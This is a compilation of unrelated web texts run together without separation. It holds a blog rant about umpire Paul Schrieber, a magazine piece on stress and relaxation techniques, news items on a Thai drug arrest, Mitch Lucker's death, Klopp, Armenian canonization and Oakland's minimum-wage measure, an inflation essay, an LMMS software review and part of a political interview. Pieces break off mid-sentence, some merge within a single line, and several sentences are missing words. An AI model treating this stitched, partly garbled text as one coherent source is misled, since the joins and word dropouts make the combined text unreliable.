Paul Schrieber is a miserable sack of horse excrement Home plate ump Paul Schrieber, he of the game ending balk fame, just tossed Guzman for arguing balls and strikes. That's his right. But immediately after tossing him, he waved "bye-bye" to Guzman in a smug, priggish fashion. Say anything you want about how he calls the games (which I have) but an umpire displaying that kind of attitude is disgraceful. I'm surprised he didn't smack Guzman and then demand some more peanuts. It's 3-2 Nats in the bottom of the sixth.
Average K/9 (2011): 12.8
Average BB/9 (2011): 7.3
Sample PITCHf/x strike zone: September 26, 2011. Yankees catcher Russell Martin was ejected by Schrieber for jokingly criticizing the strike zone, though it looks like the Rays pitchers got the worst of a hitter-friendly evening in St. Petersburg.
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True fact: Was a catcher at Portland State University in the late 1980s and is one of two active umps who hail from Eugene, Oregon. (Dale Scott is the other.)
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On umpiring: "It's hard to turn it off. You're trying to be perfect when you can |
reactions may be dictated by our past. Telling someone to 'just take it easy' is of no help. We are still a long way from knowing just what to say, but we are getting there.
A Smorgasbord Of Stress-Stoppers
The future may hold specific ways of desensitizing brain and body so that they do not automatically hyperrespond to minor provocations. But for now, recognition of stress sensitization requires one all-important change in the way most of us approach de-stressing.
"If you wait until you're feeling stressed before you employ some technique for managing stress," contends psychologist Robert Epstein, Ph.D., "it's already too late. You need to have a bag of tricks that you can deploy proactively. If you turn to them throughout the day, that changes your threshold of stress tolerance."
Epstein, director emeritus of the Cambridge Center for Behavioral Studies and a researcher at San Diego State University, insists that "it's more important than ever to learn as many antistress techniques as possible, as young as possible."
"What we can now get out of the notion of sensitization is that people being treated for stress need individualized therapies," adds Saki F. Santorelli, Ed.D., associate director of the Stress Reduction Clinic at the University of Massachusetts Medical Center. "If we are saying that everyone responds to stress differently because of past experiences, then as therapists we need to be flexible and allow each person to focus on the part of therapy that works best for them. The only way to find that out is by trying different stress-reduction techniques."
There is no one-size-fits-all way to reduce stress. For example, "study upon study has shown that simple relaxation does not work in many people," says Rachel Yehuda, Ph.D., of Mt. Sinai Medical Center in New York. "Telling someone who has been sensitized to stress to just relax is like telling an insomniac to just fall asleep."
"What you don't want to do is resort to quick fixes that have no staying power," says Santorelli. " cigarettes, drinking alcohol, binging on food; these are sure-fire stress failures. They may give the that they are relieving tension, but they will not work over time and sooner or later you will be right back where you started." He also advises those who feel stressed to avoid coffee and high-fat foods. "Caffeine is a stimulant and foods high in fat make the body work overtime to digest them, so both will probably add to your level of stress."
At Santorelli's clinic, patients are taught mindfulness meditation, which comes out of the Buddhist tradition. Practitioners set aside 20 to 40 minutes a day when they focus on calming and becoming aware of their bodies with the aim of catching them—and interrupting them—in the act of hyperresponding to stress. "But the meditation really becomes a way of life. Once you begin practicing you realize that whenever you start feeling stressed during the day you are able to retrieve the feelings of relaxation you get during deep meditation. It becomes a way to take a few breaths and settle down just when you feel like you are beginning to explode."
Other forms of meditation use other devices to bring on moments of quiet contemplation, but all are designed to get you to focus on your body. "The most important thing is becoming aware of your body so you can sense when you are getting stressed. Meditation is an excellent way to do that" says Santorelli. "But it's not for everyone."
Biofeedback
If meditation is not for you, maybe biofeedback is. There are three main forms of it: electromyography (EMG), galvanic skin response (GSR), and electroencephalography (EEG). By attaching electrodes to a body system that readily reacts to stress—muscles, skin, and brain waves, respectively—you can monitor your actual stress level and learn to control, even reduce it. Modern biofeedback devices give off some signal a blinking light, a bell—that announces a high level of tension. You concentrate on slowing the blinking light or bell.
Studies have found that each form of biofeedback works best for specific stress-related problems. EMG biofeedback, for example, reduces tension headaches; it allows people to focus and relax the muscles in the forehead that cause head pain. GSR seems to work best for stress-induced migraines, which tend to coincide with a rise in body temperature. EEG biofeedback leads to the deepest relaxation states.
What Calms You
But you don't have to meditate or go to a biofeedback clinic to avoid stress. "I meditate regularly, but when I am feeling unusually stressed I practice yoga or go exercise or tend to my garden or I hang out with family or even just read and write," Santorelli says. "You have to become aware of what calms you best."
For Jean King, Ph.D., of the UMass Medical School, listening to music, going for a walk, or exercising always seems to put her mind at ease. "I love the water, so if I'm having a rough day I just go and look at it. I don't even have to go in, all have to do is be near it."
Boston University biologist Eric Widmaier, Ph.D., confides that he used to combat stress by running and exercising. "But I've changed to a more thoughtful approach." He is an advocate of "internal conversations" in which he asks himself, "am I doing the right thing?" But the most important technique, he says, is "to learn to say no. People are constantly pushing at us by asking for favors."
Relaxation Response
One of the best-studied stress-relievers is the relaxation response, first described by Harvard's Herbert Benson, M.D. Its great advantage is that it requires no special posture or place. Say you're stuck in traffic when you're expected at a meeting. Or you're having trouble falling asleep because your mind keeps replaying some awkward situation.
Sit or recline comfortably. Close your eyes if you can, and relax your muscles.
Breathe deeply. To make sure that you are breathing deeply, place one hand on your abdomen, the other on your chest. Breath in slowly through your nose, and as you do you should feel your abdomen (not your chest) rise.
Slowly exhale. As you do, focus on your breathing. Some people do better if they silently repeat the word one as they exhale; it helps clear the mind.
If thoughts intrude, do not dwell on them; allow them to pass on and return to focusing on your breathing.
Although you can turn to this exercise any time you feel stressed, doing it regularly for 10 to 20 minutes at least once a day can put you in a generally calm mode that can see you through otherwise stressful situations.
Cleansing Breath
Epstein, who has searched the world literature for techniques people have claimed valuable for coping, focuses on those that are simple and powerful. He calls them "gems," devices that work through differing means, can be learned in minutes, can be done anytime, anywhere, and have a pronounced physiological effect. At the top of his list is the quickest of all—a cleansing breath.
Take a huge breath in. Hold it for three to four seconds. Then let it out v-e-r-y s-l-o-w-l-y. As you blow out, blow out all the tension in your body.
Relaxing Postures
"The research literature demonstrates that sitting in certain positions, all by itself, has a pronounced effect," says Epstein. Sit anywhere. Relax your shoulders so that they are comfortably rounded. Allow your arms to drop by your sides. Rest your hands, palm side up, on top of your thighs. With your knees comfortably bent, extend your legs and allow your feet, supported on the heels, to fall gently outward. Let your jaw drop. Close your eyes and breathe deeply for a minute or two.
Passive Stretches
It's possible to relax muscles without effort; gravity can do it all. Start with your neck and let your head fall forward to the right. Breathe in and out normally. With every breath out, allow your head to fall more. Do the same for shoulders, arms, back.
Imagery
Find a comfortable posture and close your eyes. Imagine the most relaxed place you've ever been. We all have a place like this and can call it to mind anywhere, any time. For everyone it is different. It may be a lake. It may be a mountain. It may be a cottage at the beach. Are you there?
Five—Count 'Em, Five—Tricks
Since you can never have too many tricks in your little bag, here are some "proven stress-busters" from Paul Rosch, M.D., president of the American Institute of Stress:
Curl your toes against the soles of your feet as hard as you can for 15 seconds, then relax them. Progressively tense and relax the muscles in your legs, stomach, back, shoulders, neck. Visualize on a beach, listening to waves coming in and feeling the warm sun and gentle breezes on your back. Or, if you prefer, imagine an erotic fantasy or picture yourself in whatever situation makes you happiest. Set aside 20 to 30 minutes a day to do anything you want—even nothing. Take a brisk walk. Keep a music player handy and loaded with relaxing, enjoyable music.
"Beating stress is a matter of removing yourself from the situation and taking a few breaths," says Rosch. "If I find myself getting stressed I ask myself 'is this going to matter to me in five years?' Usually the answer is no. If so, why get worked up over it?"
The Power of Understanding
Simply knowing about stress sensitization seems to help some. "We tell patients about stress sensitization and I see a change in them," Yehuda says. "We explain that they have inappropriate reactions to stress because something has gone wrong with control mechanisms in the brain. It is like a light goes on and they can see: 'Oh, so that may be the problem.' They do the same meditation and therapy but they are aware of the basis of their problem. There is something for them to focus on. There is a reason for them to say 'I'm not crazy. This is something real.'"
So You Think This Is The "Age Of Stress?"
Quick, which would you rather be: late to work or lunch for a lion? The stress response we have today is out of sync with current needs. But it once was a Jurassic perk.
Nowadays, we are bombarded with what might be called the mythology of stress, which suggests that our psychological and physiological well-being is constantly threatened by degrees of stress unparalleled in history. Nothing could be farther from the truth.
What are some of these real or perceived stressors with which we continually do battle? Coping with rush-hour traffic, job and financial difficulties, troubled, and family problems are just a few of hundreds of stressful stimuli that can be identified.
over personal problems (will I be able to pay the rent this month?), or more global concerns (will there be another war?) is another type of stress that we all encounter much too often.
Nonetheless, anxiety and these other stressors are not immediate threats to survival, even if they do raise our blood pressure a bit now and then. Of greater concern is that the internal defense mechanisms of the body respond to these types of psychological stimuli in the same way as they would respond to life-threatening ones.
Why is this unfortunate? Because over the long haul, excess release of potent stress-fighting factors like the adrenal-gland hormones cortisol and epinephrine (also known as adrenaline) can suppress the immune system, cause ulcers, produce muscle atrophy, elevate blood sugar, place excessive demands on the heart, and eventually lead to the death of certain brain cells.
A person in the midst of a divorce does not require the hormonal, neuronal, and metabolic responses of someone who falls through thin ice on a wintry pond—yet in both cases the same internal changes are occurring.
Why do emotionally stressful events elicit the same chemical changes in our bodies as do events that are actual threats to survival? The answer may lie in a comparison of stress as we know it today and stress as it must have been when vertebrate animals were first evolving.
Are we really any more "stressed out" than our prehistoric ancestors? Presumably not, since the defense mechanisms that developed in mammals like ourselves did so very early in the evolution of life. We even see similar biological responses to stress in non-mammalian vertebrates like birds and reptiles.
These defenses consist of hormonal and neuronal signals that increase breathing, accelerate heart rate, increase blood pressure, increase the liver's ability to pump sugar into the bloodstream, and open up blood vessels in the large muscles to maximize the delivery of nutrients and oxygen.
The net effect is an animal that has lots of fuel in its blood, a more forceful heart to pump the blood around, plenty of oxygen, and efficient muscles. For an antelope in the wild that has spotted a nearby lion, these changes are exactly what the antelope needs to avoid becoming a meal.
Not surprisingly, then, animals evolved internal mechanisms to combat the stresses of infection, starvation, dehydration and pain, to name a few. Cortisol breaks down bone, muscle, fat, and other body tissues to provide material for the liver to convert into sugar. This sugar, essentially formed by the body's own self-digestion, can supply the needs of the heart and brain during a crisis. The natural pain-killer endorphin developed to combat severe pain.
Picture the antelope being attacked by the lion, but escaping to live another day. Its endorphin would allow the animal to cope with the pain of its wound, if only temporarily, and continue with the herd. Other hormones enable the kidney to retain more water than normal during periods of drought and dehydration.
All of these varied measures are short-term responses to very different types of stress, but they act in a concerted way to give an organism a fighting chance to get back on its feet.
Imagining the types of stress our paleolithic forebears must have encountered makes our daily aggravations seem much less overwhelming. Prior to the advent of agriculture, the typical cave-dweller would rarely have had the luxury of a steady and nutritious. On the contrary, malnutrition, vitamin and mineral deficiencies, even starvation would have been extremely common in the winter months, and sporadic dehydration from lack of clean or available water may have been common in the summer.
Hypothermia was a constant threat in the winter, especially in northern climes during the many ice ages. Injuries and infections that resulted from untreated minor wounds or parasite invasion would not only have been physiologically stressful but often lethal. Anthropological data suggest that our ancestors suffered many of the same maladies that continue to plague us today (arthritis, back problems, tooth decay, osteoporosis, to name a few).
However, as stressful as those conditions are for modern man, they would have been far more stressful at a time when no medical treatment of any kind was available.
What about the other type of stress that is not life-threatening, but is perceived to be of potential danger? When the antelope spotted the lion, there was not yet physical damage to the antelope's body. Nonetheless, the hormonal systems responded as if the damage was already done, in anticipation of impending doom. If the crisis were luckily averted, a complex system of hormonal feedback loops would apply a brake on the stress response to prevent unabated secretion of cortisol and other stress hormones.
Our prehistoric ancestors did not need to negotiate city traffic and deal with short-tempered bosses, but they had their share of psychological stress that produced no actual physical bodily insult.
Not knowing when (or if) your next meal will come would have been (and for much of the world's population continues to be) a chronic source of anxiety. Each empty-handed trip back to the cave would have increased the tribe's fears for the next day.
For that matter, obtaining a meal might have meant coping with the terror of chasing down a herd of animals much faster and larger than oneself, using a puny flint arrowhead tied to a stick.
Prehistoric man also differed in one profound way from modern man. Although an awareness of the cycles of nature and physical principles like gravity would likely have been present in even our most primitive ancestors, an understanding of the forces of nature would have completely eluded them.
Having no understanding of science meant having no sense of control over one's environment. Ancient man appears to have worried endlessly about celestial "beings" (sun gods, moon gods, etc.), and we know that until relatively recent times it was common for people to assign human traits to these deities.
This would have implied that it was within the realm of possibility for, say, the sun god to feel angry or neglected one day, thus deciding not to rise and plunging the world into darkness and chaos. Imagine going to sleep each night fretting that you may have failed to properly perform a certain worshipful ritual and that as a consequence your entire tribe or family might be forever doomed to darkness and misery.
From both a physical and a psychological vantage point, our ancestors lived a much more stressful existence than we do today. The mechanisms that evolved to combat the deleterious effects of those stressors are still intact and usually serve us well.
However, we clearly make things worse for ourselves. Take compulsive exercisers. These people can actually become addicted to strenuous exercise, because this behavior imposes a severe stress on metabolism and results in the steady release of endorphin. Responsible for "runner's high," this pain-killer is similar to morphine in its addictive capabilities.
Extreme exercise also releases cortisol, which though useful in maintaining circulatory and respiratory function, can lead to immunosuppression, bone loss, hypertension, and death of brain cells. In yet another scenario, meeting a deadline at work is a source of pressure, but is not life-threatening, and yet it contributes to ill health by invoking an unnecessary release of stress hormones.
Are we stressed in today's society? Of course we are. But the important thing to remember is that all animals, including ourselves, are confronted with innumerable types of stress and always have been. We should ignore the incessant mantra of ours being the Age of Stress and put things in a more historical and evolutionary perspective.
Given the, who wouldn't prefer the aggravation of two working getting their kids off to day care or school on time to the dread of being eaten in one's sleep by a lion?A 23-year-old Irishman is facing up to 50 years in a Thai prison after he allegedly tried to sell a kilo of cannabis to undercover police officers.
A 23-year-old Irishman is facing up to 50 years in a Thai prison after he allegedly tried to sell a kilo of cannabis to undercover police officers.
Irishman arrested in Thailand on drugs charge faces up to 50 years in jail
The young Irishman was busted in a sting operation led by officers from Crime Suppression Divison in Chiang Mai, Northern Thailand early last week after police claimed that he tried to deal drugs to undercover officers.
The man has been named locally as Ciaran Barry Duggan.
Local media report that police arranged to meet the 23-year-old outside of the Chiang Mai Night Plaza Boutique Hotel on Monday October 19 after placing an order with him online.
Crime Suppression Division Commander Lt.Gen Akkaradet Pimolsri claims the Irishman was arrested as he attempted to sell a kilo of marijuana to officers for 200,000 baht (€5,090).
A video posted online shows the young man denying all knowledge of the incident and accusing officers of trying to set him up.
The Department of Foreign Affairs said it is providing consular assistance to the man.
Reports say he was charged with various drug offenses and was remanded in custody pending further investigation.
A spokesman for Chiang Mai Police confirmed that the arrest of a man from Ireland had occurred on October 19.
It's likely that he will not appear before the Thai courts until 2017. If convicted he faces a maximum sentence of 50-years behind bars.
Thailand is well known for lengthy penalties for drug offenders.
Online EditorsThis is intense news. Moments after writing about his Halloween costume, I was forwarded a link to this page which reports that the Suicide Silence frontman was killed in a motorcycle accident last night. He was pronounced dead at 6:17 a.m. this morning at UCI Medical Center in Orange County. He was checked into the hospital around 9pm last night.
Mitch was a friend of Metal Injection and leaves behind a daughter, Kenadee Lucker. Our thoughts are with his band, friends and family. Despite what your thought on the guy's band is, he had a family and was a human being. Please don't be a jackass in the comments.
UPDATE: Suicide Silence just released an official statement on their Facebook page:
There's no easy way to say this. Mitch passed away earlier this morning from injuries sustained during a motorcycle accident. This is completely devastating to all of us and we offer our deepest condolences to his family. He will be forever in our hearts. R.I.P. Mitchell Adam Lucker – We Love You Brother
We have a posted a roundup of musicians leaving their condolences to Mitch right here.
Nuclear Blast echoed the band's statement with one of their own:
It is with great sadness and regret this morning that we have to report that Mitch Lucker, vocalist of SUICIDE SILENCE, passed away a few hours ago due to injuries sustained during a motorcycle accident. NUCLEAR BLAST would like to offer our condolences to his family, friends, band members and fans worldwide who are affected by this loss. He left us doing what he loved to do most. He was 28 years old and will be sorely missed.
The Gauntlet tracked down the below photo of Mitch on his bike a few days before the crash, snapped by a fan:
Update: We now know how the accident happened:
According to the Los Angeles Times, the singer struck a light pole near the intersection of Main and 13th streets and was thrown from his 2013 Harley Davidson. The motorcycle continued sliding south on Main Street and struck a northbound 2007 Nissan Titan pickup.
[tv]http://www.metalinjection.net/tv/view/7261/suicide-silence-you-only-live-once-official-video[/tv]
[tv]http://www.metalinjection.net/tv/view/8883/suicide-silence-interview-at-revolver-golden-gods-2012[/tv]
Here are some more Suicide Silence videos.
Related PostsJurgen Klopp has taken the blame for Liverpool's FA Cup exit at the hands of Wolves on Saturday.
The Championship side shocked the Reds 2-1 at Anfield thanks to first-half goals from Richard Stearman and Andreas Weimann, with Divock Origi's goal coming too late to stage a comeback.
Klopp made nine changes to his starting XI from the EFL Cup semi-final defeat to Southampton in midweek and the German acknowledged he was the man responsible for the latest loss.
"We put in a very bad performance, we started badly and could not improve," Klopp told BT Sport.
"There are not a lot of good things to say. It is difficult to explain this loss. The start gave them confidence. We were not ready. We gave the ball away and made a foul that led to the goal.
"We tried, but were not good enough in the first half. The second half was better, but not enough.
"I am responsible, not the young players. You learn a lot about players in games like this, but I am responsible.
"We will see how much this affects us. Our problems were obvious, we caused them ourselves.
"But we should not forget Wolves did really well. They defended well and did well on the counterattack. But we were not good enough."For decades, one of the predominant concerns for governments around the world was how to keep price rises in check. This campaign led to the establishment of independent central banks mandated to hit strict inflation targets in order to maintain price stability and ensure confidence in currencies.
That fear, however, is increasingly giving way to worries about the spectre of disinflation, as global inflation continues to decline.
In a speech in March this year, Bank of England Governor Mark Carney announced that inflation had fallen globally, with the rate of price rises “below target in 16 of 18 inflation-targeting major economies … Eleven of those countries have inflation rates below 1%.”
Source: Bank of England
Why is inflation collapsing?
In part, the decline in global inflation since the 1970s reflects the success of central banks in moderating price rises.
By allowing independent central banks to set interest rates independently of governments, policy-makers hoped to keep inflation around a stable level consistent with full employment. In large part, they have been successful in achieving that aim, although they have not been able to fully mitigate the impact of the economic cycle on inflation and employment.
Moreover, this period has also seen profound labour-market reforms. Widespread unionization of the private sector has largely dissipated, and with it collective wage bargaining that many blamed for helping to fuel wage/price spirals. They have been replaced with minimum-wage legislation and an increasingly casualized labour force that is much more flexible to changes in the wider economy.
These developments have meant that the days of wage/price spirals appear to be past, but some economists also blame this increase in labour-flexibility for an unwanted cocktail of stagnant wage growth and underinvestment.
These not only weigh on inflation but also pose a risk to future economic growth. In other words, where labour costs become so flexible that companies can decide to hire low-cost workers rather than invest in new technology or machinery, productivity can be held back, and so can the potential for GDP growth.
Influence of emerging markets
Another key factor in this dynamic has been the rise of emerging markets, particularly China. Since the advent of the General Agreement on Tariffs and Trade (GATT) and then China’s accession to the World Trade Organization (WTO), the global labour market has seen a huge influx of new supply, helping to keep down wage growth but also substantially reduce the cost of goods (and in some cases services, too).
That downwards price pressure has helped to offset the impact of credit-fuelled demand in Western economies in the 1990s and early 2000s, allowing central banks to meet their inflation targets despite high domestic demand and tight labour markets that would usually lead to an overshoot.
That problem has now been reversed, however. As a post by M&G’s Bond Vigilantes explains:
The deflationary forces leaking out of China stem from the Chinese authorities’ response to the 2008 crisis, where they embarked on huge infrastructure and investment spending. As previously argued on this blog, the investment bubble has become frighteningly inefficient. The consequence of China’s overinvestment was to create excess supply and overcapacity, which has proven disinflationary, but now China has to also contend with stagnating domestic demand.
If the disinflation exported by China in the 1990s and early 2000s was benign, as some have argued, this latest variety prompted by overcapacity and sluggish re-balancing towards domestic demand is unlikely to be described in such glowing terms.
One area its effects have been most keenly felt is in commodities markets, with the sharp drop in emerging market demand exacerbating the competition over market share between OPEC and U.S. shale oil.
A world of low inflation is not what the global economy needs right now. For one thing, although debt-to-GDP levels have fallen in some of the countries hardest-hit by the financial crisis, overall global debt has risen much faster than growth since 2008. While the pace of credit growth has slowed in developed markets, it has more than been made up for by debt build-ups in emerging economies.
Low inflation and sluggish global growth will make eroding that debt pile all the more challenging, and is also likely to force central banks to keep interest rates closer to the zero lower bound than they are comfortable with (limiting their ability to deal with possible future shocks).
Whether another debt shock can be avoided will depend on coordinated efforts to maintain modest post-crisis recoveries in the developed world and avert a debt hard landing in emerging economies.
Have you read?
What’s causing America’s low inflation?
What level of inflation achieves ‘stable prices’?
Why deflation is good for Europe
Author: Tomas Hirst is editorial director and co-founder of Pieria magazine and was previously commissioning editor, digital content at the World Economic Forum.
Image: People take photos with the skyline of the financial district of Singapore in the background April 14, 2014. REUTERS/Edgar SuIn the last years a lot of new software is come for music production on Linux, and LMMS is in this category.
LMMS is a free cross-platform alternative to commercial programs like FL Studio®, which allow you to produce music with your computer. This includes the creation of melodies and beats, the synthesis and mixing of sounds, and arranging of samples. You can have fun with your MIDI-keyboard and much more; all in a user-friendly and modern interface.
With LMMS it’s also possible to add effects to pre-existing audio so it allows you to record vocals in a program like Audacity, import it as a sample, add filters and distortion, and then make the entire file one track. The ability to create your own samples in the same composition program saves a lot of time that would be wasted between copying the sound between multiple programs.
Features
Song-Editor for composing songs
A Beat+Bassline-Editor for creating beats and basslines
An easy-to-use Piano-Roll for editing patterns and melodies
An FX mixer with 64 FX channels and arbitrary number of effects allow unlimited mixing possibilities
Many powerful instrument and effect-plugins out of the box
Full user-defined track-based automation and computer-controlled automation sources
Compatible with many standards such as SoundFont2, VST(i), LADSPA, GUS Patches, and MIDI
Import of MIDI and FLP (Fruityloops® Project) files
Installation
On the download page you can find links for Ubuntu, opensuse and Pardus Linux, in particular for Ubuntu, there is a PPA that you can use to install LMMS on Ubuntu 11.04:
sudo apt-add-repository ppa:dns / sound sudo aptitude update sudo aptitude install lmms sudo apt-add-repository ppa:dns/sound sudo aptitude update sudo aptitude install lmms
After the installation of LMMS you’ll need to configure it for best performance on your hardware. The Edit menu’s Settings dialog provides controls for LMMS’s internal buffer size and selection panels for your audio and MIDI devices. Also a kernel with real Time support is usually a great thing.
Interface
The application offers an eye-candy interface with a relative usage complexity, however, once you get the hang of the application, using LMMS becomes fairly easy. Interface is divided into different sections, where you have Song Editor, FX-Mixer, Baseline Editor, and Controller rack on front-end. From left flank you can bring up Instrument Plug-in window, Samples Explorer, intrinsic and saved presets, etc.
If you are a pianist, you will love working with melodies and harmonies using Piano roll editor, which is kept both simple and easy to use. The toolbar contains all the tools and options to create, add and edit musical notes. Other special notes tweaking options, such as, Quantisation and Notes length are also available.
Conclusions
This is an excellent program, it has a pretty interface and it’s simple to use, but it also has many advanced feature.
So overall give it a try if you are a music maker.
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None FoundYerevan, April 24, Interfax - The Armenian Apostolic Church canonized all Armenians murdered during the Armenian genocide in the Ottoman Empire a century ago.
Between 1 million and 1.5 million people were killed in the massacres, but the Armenian Church stated neither the number nor the names of those it canonized, calling the genocide collective martyrdom.
The canonization ceremony finished at 19:15 hours local time, symbolizing the year 1915, when the killings began.
The ceremony was led by Catholicos Karekin II of All Armenians and Catholicos Aram of the Great House of Cilicia.
Armenian President Serzh Sargsyan and representatives of the Coptic, Syrian, Ethiopian and Malankara Churches were among those present.
The Russian Orthodox Church was represented by a delegation led by Metropolitan Varsonofy of St. Petersburg and Ladoga. The general secretary of the World Council of Churches also attended the ceremony, and the Conference of European Churches was represented as well.
The Armenian Church had restored its rite to canonization for Thursday’s ceremony. Until then the rite had been considered lost – the previous canonization had been performed in the 17th century when Movses Tatevatsi was proclaimed a saint.
The ceremony ended with the chiming of 100 bells. Then came nationwide one-minute moment of silence, in which numerous churches worldwide joined in.As campaigns to raise minimum wages across California—and the country—press on, Oakland’s initiative is proving to be a divisive issue among nonprofits and private businesses. If approved by voters on Tuesday, Measure FF will lift Oakland’s wage floor from $9 to $12.25 an hour starting next March. While economists say the increase will have economic benefits, some employers argue otherwise, saying small businesses and nonprofits could be adversely affected. Although there is no formal opposition to the measure, staffers at some businesses and nonprofits are torn by the proposal.
Measure FF was created and championed by the organization Lift Up Oakland, which gathered over 33,000 signatures to place the measure on the ballot. If passed, it will be the city’s first minimum wage statute independent of state and federal law. “It will be a historic measure for Oakland,” said Shum Preston, spokesperson for Lift Up Oakland. Preston said approval of higher wages in Oakland, as well as in San Francisco where voters are being asked to raise the minimum wage to $15 by 2018, will have a ripple effect across the region. “We have a strong belief that with this passing, and San Francisco’s minimum wage passing, it will encourage other cities to follow along,” said Preston.
In Oakland, Measure FF proposes implementing the $12.25 wage starting March 2, 2015, then pegging its rise to inflation. Workers would receive five or nine paid sick days a year, depending on the size of the business, and annual wage increases every subsequent January 1 based on the Consumer Price Index. Lift Up Oakland’s website says the measure will have broad positive effects for the rest of the city: “The additional spending will create jobs and generate tax revenue for schools, public safety and infrastructure. Everyone will benefit.”
But some business owners in Oakland are wary of a relatively large wage increase in a short period of time. “It doesn’t take into account small businesses, nonprofits and youth training programs,” said Mark Everton, general manager for the Waterfront Hotel at Jack London Square. While he supports higher wages for workers, Everton said smaller companies and nonprofit organizations need more time to raise wages for workers, because many will take a heavier financial hit from raising salaries. “I wish it had provisions allowing a phase-in increase for these programs, giving them a ramp-up period where they could adjust their business models over time,” he said. Everton said his business, which employs fewer than 100 workers, will see a minimal effect from a wage increase; only a few valets and bellmen would be affected.
Another critique of Measure FF made by some small business owners is that it does not consider wages for workers with varied experience. “We need to be able to have a scale that adjusts itself where, if you’re brand-new, you have a lower starting wage, and as you gain experience, your rate of pay goes up,” said Scott Whidden, owner of Fenton’s Creamery and Restaurant, a historic, family-owned business operating in Oakland since 1894. Whidden said he has a certain budget for workers’ wages, and if Measure FF passes, employees with more experience will have to wait for raises while increases go to those just starting out. “So we’re penalizing the veterans so we can pay the trainee,” said Whidden. “We’d like to have a two- or three-tier system, where we can start someone at, say, $10, and work them up. Then we’re not discriminating against experienced workers.”
But Whidden said Measure FF would fit the corporate business model well because large chains, which often pay low wages, have the financial means to take on that cost. “For a mom and pop, we know what’s in our register. We know what we can pay,” he said. “There’s only so much on payroll, and $12 dollars is basically a 33 percent increase, factoring in taxes and workers comp.”
Some charitable organizations serving groups in Oakland argue that the very people they are trying to help may end up losing out if Measure FF is approved. “We’d serve less youth,” said Elder Matthew Graves, the executive director of Oakland Youth First (OYF) in the Acorn neighborhood of West Oakland. The organization hires low-income young people for $10 an hour for summer internships and work experience programs at places such as the Port of Oakland and BART.
At OYF, training programs for young people are funded by the Workforce InvestmentAct of 1998, which provides federal funds for employment programs. Graves says that the annual funding for these programs has been decreasing, and it is not clear if funding from the federal government will increase to keep up with a new minimum wage. If Measure FF passes, that could create a funding gap for the organization—OYF may have to fundraise to compensate for the difference, Graves said, or be forced to cut hours or hire fewer young people.
A higher wage floor, however, may lead to an increase in the number of young people in the workforce. “We deal with kids who are in the system with welfare support,” Graves said. “They are better off receiving welfare rather than working a minimum wage job,” he continued, referring to the current minimum wage.
Staffers at nonprofits such as the Ella Baker Center, People United for a Better Oakland (PUEBLO) and Destiny Arts Center said they would not be affected by the increase because they already pay their employees more than the proposed wage. “With great pride, we pay all of our workers above the minimum wage, so this proposal would not affect Destiny Arts Center,” said Cristy Johnston Limón, executive director of the center.
Economists from UC Berkeley’s Institute for Research on Labor and Economics (IRLE) have conducted extensive research on the effects of minimum wage increases at the federal, state and local level. A study released by the institute this summer called “The Impact of Oakland’s Proposed City Minimum Wage Law: A Prospective Study” found that raising the minimum wage would have minor repercussions on businesses and their operating costs. According to the study, in a situation where the minimum wage would jump from $9 to $12.25 per hour, “operating costs would increase by 0.3 |
, it’s failure to look at all the possible consequences, it’s failure to take advice from the real experts in the room, and so forth, but it’s not something that anyone intended to happen.
SS: Now, you’ve mentioned civil war in Syria in the first part of the show, and you said that there were rumors in a backstage of the White House that Washington may be changing it’s take on Assad’s regime - do you feel that it lost there, in Damascus, considering Assad is still in power?
CLW: I think it was a terrible, terrible move when President Obama was advised, I’m told, primarily by Samantha Power and Susan Rice - a national security advisor now - that Bashar Al-Assad was another Mubarak, and that President Obama better get on the right side of history instantly and denounce Bashar Al-Assad. Now, I’m not defending Bashar Al-Assad, he’s got quite a track record of draconian authoritarianism, but I will say that he has lots of support in Syria - he has the military, he has lots of the business sector, he has lots of elites otherwise, and certainly the Alawites, who probably would be killed to a man, to a woman, if he would fall from power and the Shia forces that are right against him would take power. So, Bashar Assad is going nowhere. President Obama got bad advice, I think he understands that now, and I think, as I said, the Administration is moving to try and talk to Assad’s people at least, and, eventually, probably, Bashar Al-Assad himself, and to try and come to some political solution that would no doubt have to continue Bashar Al-Assad in power, at least, for an interim period. I am sure Moscow would be happy with that. I hope Moscow would be happy with that, if it ended the civil war.
SS: Yeah, that’s what I was going to say, I think the important thing is for the civil war, it doesn’t really matter who is happy and who is not outside Syria on that regard.
CLW: Well, it does matter, it does matter, because they’re going to keep messing around in it. You’re going to have Quatar money, you’re going to have UAE money, you’re going to have Saudi money, you’re going to have lots of people playing around in it, unless they, like you’ve just said, decide that this is all about the Syrian people, and let stop the civil war.
SS: But you do see Obama having second thoughts about that and seeking Assad’s cooperation in the future?
CLW: I do. I don’t know if that forthwith yet, but I think they’ve come to the conclusion that he’s going nowhere and they’re going to have to deal with him politically.
SS: So it turns out, like, 3 years of civil war in Syria just all for nothing, just came to that?
CLW: It’s not for nothing. We all forget how this got started. This got started because of the far more existential challenge we all confront in this century: it got started because 200,000 Syrian farmers had no water. They had no water for their crops, they had no crops - they had no life. This is the future, this is planetary climate change, this is the greatest challenge we confront in the XXI century, and the sooner Moscow, Tokyo, Berlin, Paris, Washington and other capitals in the world, Beijing too, figure this out and begin to do something to deal with it - the better off we all will be. If it doesn’t happen, we’re all going to be talking about Syria and Iraq and other problems in the world, while the world collapses around us.
SS: About something we can do - a whole program on. But back to the Middle Eastern affairs, and you’ve mentioned another player in the region that’s pretty important - Iran - and you believe the U.S. needs a relationship with Tehran, since it’s the most stable force in the region. Do you feel that the U.S. establishment is moving in that direction as well?
CLW: Yes, but there are mighty, powerful forces right against that movement, and they’re led by people like senator Lindsey Graham and senator John McCain, and then the Democratic party senator Robert Menendez and others, who, I would say, are more warmongers than they are supporters of diplomacy or genuine security of Israel or the U.S. in that matter. I don’t know what motivates these people other than their love for interminable warfare. I simply can’t explain it any other way, but I must admit, they are powerful force right against the success of the ongoing negotiations with Iran.
SS: So it makes you wonder, who really decides that at the end of the day - the Congress or the White House, because Congress is threatening to impose new sanctions on Tehran despite President’s opposition. So, this is a way to sabotage a potential diplomatic breakthrough, right?
CLW: Yes it is, and it’s presenting this two-faced foreign policy to the world. Look at the issue over Bibi Netanyahu being invited to address a joint session of the U.S. Congress - this is preposterous, the invitation should never had been issued, and PM Netanyahu should have enough sense and wisdom for his own country’s security to refuse to accept the invitation - and I still hope that he will refuse. This is nonsense, having two sets of foreign policy for a great power like the U.S.
SS: Colonel, we’ve heard several times, coming from President Obama and from Secretary of State John Kerry that Russia and the Islamic State are the top foreign threats to the U.S. security. What should the priority of the U.S. foreign policy be in your opinion?
